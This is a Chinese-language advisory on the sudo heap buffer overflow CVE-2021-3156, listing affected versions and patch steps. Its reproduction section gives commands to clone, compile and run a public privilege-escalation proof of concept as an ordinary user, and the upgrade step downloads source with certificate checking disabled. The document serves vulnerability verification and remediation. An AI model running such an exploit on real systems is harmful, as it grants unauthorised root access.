漏洞简介
漏洞名称: Sudo 缓冲区溢出漏洞(CVE-2021-3156)
漏洞定级:高 危
漏洞描述: 在 sudo 中发现一个缺陷。在 sudo 解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoers 和非 sudoers)都可以利用此漏洞,而无需进行身份验证(即,攻击者不需要知道用户的密码),利用此漏洞可以用于普通用户无差别提权,漏洞对数据机密性和完整性以及系统可用性带来严重威胁。
影响范围:
sudo: 1.8.2 - 1.8.31p2
sudo: 1.9.0 - 1.9.5p1
复现过程
- 判断是否存在漏洞
- 切换普通用户
下载poc 并编译
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
chmod a+x sudo-hax-me-a-sandwich
执行poc
./sudo-hax-me-a-sandwich 0
修复
修复之前进行数据备份
目前官方已在sudo新版本1.9.5p2中修复了该漏洞,请受影响的用户尽快升级版本进行防护,官方下载链接:https://www.sudo.ws/download.html
下载升级包
wget https://www.sudo.ws/dist/sudo-1.9.5p2.tar.gz --no-check-certificate
解压升级包
tar -zvxf sudo-1.9.5p2.tar.gz
进入解压后的文件夹
cd sudo-1.9.5p2
编译
./configure --prefix=/usr --libexecdir=/usr/lib --with-secure-path --with-all-insults --with-env-editor --docdir=/usr/share/doc/sudo-1.9.5p2 --with-passprompt="[sudo] password for %p: " && make && make install && ln -sfv libsudo_util.so.0.0.0 /usr/lib/sudo/libsudo_util.so.0
查看升级后sudo版本
sudo -V
修复成功。
如果相应的软件源已经更新了 sudo,也可以直接通过 yum 或者 apt-get 来直接升级 yum -y upgrade sudo